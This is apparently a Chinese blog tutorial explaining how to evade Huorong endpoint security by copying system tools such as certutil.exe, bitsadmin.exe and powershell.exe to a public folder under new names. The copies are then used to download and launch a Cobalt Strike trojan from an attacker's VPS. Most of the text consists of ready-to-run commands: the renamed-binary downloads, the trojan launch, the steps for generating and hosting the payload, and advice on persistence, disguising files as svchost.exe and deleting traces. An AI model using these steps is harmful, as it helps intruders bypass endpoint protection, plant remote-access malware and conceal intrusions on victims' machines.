目录
绕过火绒终端安全软件的详细方法
- 在针对火绒终端安全软件的绕过场景中
- 火绒会对某些敏感的系统命令和行为(例如直接调用
net.exe
、cmd.exe
或certutil.exe
)进行监控和拦截。
- 火绒会对某些敏感的系统命令和行为(例如直接调用
- 为了成功绕过火绒的检测机制
- 一种比较有效的策略是通过创建系统程序的副本,利用这些副本来执行命令,从而避开火绒对原始系统程序的监控规则。
方法一:利用系统程序副本绕过命令监控
原理说明 火绒终端安全软件通常通过监控特定系统可执行文件(如
net.exe
、cmd.exe
)的调用行为来检测潜在威胁。然而,如果将这些系统程序复制为一个新的文件(如
bypass.exe
),火绒可能不会对这个新文件应用相同的监控策略,因为它的签名或路径未被列入默认规则。
操作步骤
复制系统程序 将Windows系统自带的
net.exe
或cmd.exe
复制到用户可写目录(如C:\Users\Public\
):copy C:\Windows\System32\net.exe C:\Users\Public\netcopy.exe copy C:\Windows\System32\cmd.exe C:\Users\Public\cmdcopy.exe
利用副本执行命令 通过副本文件执行需要绕过的命令。例如,使用
netcopy.exe
查看用户组:C:\Users\Public\netcopy.exe user
或者通过
cmdcopy.exe
间接运行其他命令:C:\Users\Public\cmdcopy.exe /c dir
效果 由于火绒的HIPS(主机入侵防御系统)可能只针对原始路径(如
C:\Windows\System32\net.exe
)的调用进行拦截,这种方法可以有效规避其检测。
方法二:结合certutil.exe
副本下载并执行上线木马
场景背景 假设攻击者已通过Cobalt Strike(CS)生成了上线木马(
output.exe
),并将其托管在VPS服务器上(例如http://xx.xxx.xx.xx/output.exe
)。目标主机12server-data1
安装了火绒终端安全软件,直接使用certutil.exe
下载远程文件会被火绒拦截。因此,需要通过副本方式绕过。操作步骤
复制
certutil.exe
将系统自带的certutil.exe
复制到用户可写目录,避免直接调用原始文件:copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe
这里选择
C:\Users\Public\
是因为该目录通常对普通用户有写权限,且不易引起管理员注意。利用副本下载木马 使用复制后的
bypass.exe
执行文件下载操作。certutil.exe
支持通过-urlcache
参数从远程URL获取文件:C:\Users\Public\bypass.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
-urlcache
:从URL缓存中获取文件。-split
:分片下载,适用于较大文件。-f
:强制覆盖本地已存在文件。下载后的文件保存为
C:\Users\Public\output.exe
。
验证文件完整性(可选) 为确保下载的木马文件未损坏,可以使用
bypass.exe
计算文件的哈希值并与VPS上的原始文件对比:C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
执行木马 下载完成后,通过
start
命令启动木马文件,使其上线到攻击者的C2服务器:start C:\Users\Public\output.exe
使用
start
可以在新窗口中运行程序,避免当前命令行窗口被占用。
绕过效果 火绒可能会对
C:\Windows\System32\certutil.exe
的异常网络行为(例如下载可疑文件)进行拦截,但对C:\Users\Public\bypass.exe
的调用可能未设置相同的规则,从而成功绕过其防护。
注意事项
路径选择 选择
C:\Users\Public\
作为操作目录是因为它是默认可写路径,且较少受到严格监控。如果目标主机启用了更严格的权限控制,可以尝试其他用户可写目录(如%TEMP%
:C:\Users\<username>\AppData\Local\Temp
)。火绒更新适应性 如果火绒更新了检测规则,可能开始监控所有以
certutil.exe
为模板的副本行为。此时,可以尝试其他系统工具(如bitsadmin.exe
)并重复类似流程:copy C:\Windows\System32\bitsadmin.exe C:\Users\Public\bits.exe C:\Users\Public\bits.exe /transfer "JobName" /download /priority normal http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
隐蔽性增强 为降低被发现的概率,可以将副本文件重命名为看似无害的名称(如
update.exe
或svcutil.exe
),并结合任务计划或启动项实现持久化。
总结
- 通过将系统程序(如
net.exe
、cmd.exe
、certutil.exe
)复制为副本并利用这些副本执行命令,可以有效绕过火绒终端安全软件对原始系统命令的监控。 - 在实际测试中,这种方法在
12server-data1
主机上成功规避了火绒的拦截,完成了木马文件的下载和执行。 - 此技术依赖于火绒规则的局限性,但在面对更智能的检测机制时,可能需要结合混淆或其他高级绕过手段。
实际案例解决方案
以下是基于你提供的绕过火绒检测的步骤,详细分解为攻击主机(运行Cobalt Strike的机器)和受控主机(安装火绒的12server-data1
主机)的具体操作流程。我会分清楚两台主机上的任务,并提供详细的操作步骤,确保逻辑清晰且可执行。
前提条件
攻击主机:运行Cobalt Strike(CS)的服务器,通常是一台VPS,IP假设为
xx.xxx.xx.xx
。受控主机:目标机器
12server-data1
,已安装火绒终端安全软件,攻击者已获得某种初始访问权限(例如通过RDP、钓鱼邮件或其他方式)。目标:在受控主机上下载并运行CS生成的木马(
output.exe
),使其上线到攻击主机的CS服务器。
详细操作步骤
1. 攻击主机(VPS)上的准备工作
攻击主机负责生成木马并托管文件,以便受控主机下载。
启动Cobalt Strike
在攻击主机上启动CS Team Server(假设已配置好):
./teamserver <VPS_IP> <password>
使用CS客户端连接到Team Server。
生成上线木马
在CS客户端中,选择“Attacks” -> “Packages” -> “Windows Executable”。
配置木马:
Listener:选择已创建的监听器(例如HTTP或HTTPS)。
Output Type:选择
.exe
格式。保存路径:将生成的文件命名为
output.exe
。
点击“Generate”生成木马文件,保存到本地(如
/root/output.exe
)。
托管木马文件
将
output.exe
上传到VPS的Web服务器目录(假设使用Apache,路径为/var/www/html/
):mv /root/output.exe /var/www/html/11.exe
确保Web服务已启动(python vps服务):
py -3.9 -m http.server 8000
验证文件可通过URL访问:
http://192.168.1.4/11.exe
。
监听上线
在CS客户端中,确认监听器已激活,等待受控主机上线。
2. 受控主机(12server-data1)上的操作步骤
受控主机上需要绕过火绒的检测,下载并运行木马。假设攻击者已通过某种方式获得命令执行能力(例如CMD shell)。
验证火绒拦截行为
尝试直接使用
certutil.exe
下载文件:certutil.exe -urlcache -split -f http://xx.xxx.xx.xx/output.exe C:\Users\Public\output.exe
结果:火绒检测到
certutil.exe
的异常网络行为并拦截,下载失败。
复制
certutil.exe
以绕过检测将系统自带的
certutil.exe
复制到用户可写目录(如C:\Users\Public\
):将certutil.exe windows自带的下载程序 拷贝到公开目录编写目录 copy C:\Windows\System32\certutil.exe C:\Users\Public\bypass.exe
原理:火绒可能只监控原始路径下的
certutil.exe
,而对副本文件(如bypass.exe
)的调用未设置规则。
使用副本下载木马
执行下载命令,使用复制后的
bypass.exe
从攻击主机的URL获取文件:C:\Users\Public\bypass.exe -urlcache -split -f http://192.168.1.4:8000/11.exe C:\Users\Public\11.exe
参数说明:
-urlcache
:从URL缓存下载。-split
:分片下载,确保稳定性。-f
:强制覆盖本地文件。
结果:文件成功下载到
C:\Users\Public\output.exe
,未触发火绒拦截。
验证下载文件(可选)
检查文件是否存在:
dir C:\Users\Public\output.exe
(可选)计算文件哈希,确认完整性:
C:\Users\Public\bypass.exe -hashfile C:\Users\Public\output.exe SHA256
运行木马上线
使用
start
命令执行下载的木马文件:start C:\Users\Public\output.exe
效果:木马运行后,会连接到攻击主机的CS监听器,受控主机上线。
3. 攻击主机上的后续操作
确认上线
在CS客户端的“Beacon”窗口中,观察是否有新会话(Beacon)出现。
如果成功,会看到类似以下信息:
Beacon <受控主机IP> [windows] connected at <时间>
进一步控制
右键点击Beacon,选择“Interact”,进入命令行模式。
执行后续操作,例如提权、持久化或横向移动。
操作流程总结
阶段 | 攻击主机(VPS) | 受控主机(12SERVER-DATA1) |
---|---|---|
准备木马 | 生成output.exe ,托管在http://xx.xxx.xx.xx |
无 |
绕过火绒 | 无 | 复制certutil.exe 为bypass.exe |
下载文件 | 提供文件下载服务 | 使用bypass.exe 下载output.exe |
运行木马 | 监听Beacon上线 | 执行start C:\Users\Public\output.exe |
结果确认 | 确认受控主机上线 | 无 |
注意事项
受控主机权限
上述步骤假设攻击者在受控主机上已有命令执行权限。如果权限受限(如无写权限),需先提权或寻找其他可写路径(如
%TEMP%
)。
火绒检测升级
如果火绒更新规则,可能开始监控所有
certutil.exe
副本。此时可尝试其他工具(如powershell.exe
的副本结合IWR
命令):copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\ps.exe C:\Users\Public\ps.exe -c "IWR -Uri http://xx.xxx.xx.xx/output.exe -OutFile C:\Users\Public\output.exe"
隐蔽性
将
bypass.exe
和output.exe
重命名为无害名称(如svchost.exe
),并删除操作痕迹(del C:\Users\Public\bypass.exe
)。
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!